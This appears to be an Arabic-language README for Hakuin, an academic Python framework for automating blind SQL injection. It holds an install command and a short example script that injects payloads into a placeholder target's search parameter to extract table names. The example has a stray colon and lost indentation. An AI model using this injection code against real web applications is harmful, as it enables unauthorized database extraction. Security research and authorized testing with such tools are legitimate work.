
إطار عمل سريع جداً وقابل للتخصيص بالكامل لتحسين وأتمتة حقن SQL الأعمى.
Hakuin هو إطار عمل لتحسين وأتمتة حقن SQL الأعمى (BSQLI) مكتوب بلغة Python 3. يقوم بتجريد منطق الاستخراج ويسمح للمستخدمين بتفريغ قواعد البيانات من تطبيقات الويب الضعيفة بسهولة وكفاءة. لتسريع العملية، يستخدم Hakuin مجموعة متنوعة من طرق التحسين، بما في ذلك نماذج اللغة المدربة مسبقًا والتكيفية، والتخمين الانتهازي، والنمذجة الإحصائية، والتوازي، والاستعلامات الثلاثية، وغيرها.
تم تقديم Hakuin في مؤتمرات أكاديمية وصناعية مرموقة:
يمكن العثور على مزيد من المعلومات في بحثنا وشرائحنا.
لتثبيت Hakuin، ما عليك سوى تشغيل:
pip3 install hakuin
يأتي Hakuin مع أداة بديهية تقدم معظم ميزات Hakuin مباشرة من سطر الأوامر:
hk -h
أحيانًا، تكون ثغرات BSQLI صعبة للغاية بحيث لا يمكن استغلالها من سطر الأوامر وتتطلب برمجة نصية مخصصة. هنا يبرع Hakuin، مما يسمح لك بتخصيص كل شيء تمامًا - منطق الحقن، منطق الاستدلال، وحتى الاستعلامات.
فيما يلي مثال بسيط:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
تأكد من الاطلاع على الدليل التعليمي الخاص بنا.
يتم تطوير هذا المستودع بنشاط ليناسب احتياجات ممارسي الأمن. يجب على الباحثين الذين يرغبون في إعادة إنتاج التجارب الموصوفة في بحثنا تثبيت الإصدار المجمد لأنه يحتوي على الكود الأصلي ونصوص التجارب ودليل تعليمات لإعادة إنتاج النتائج.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}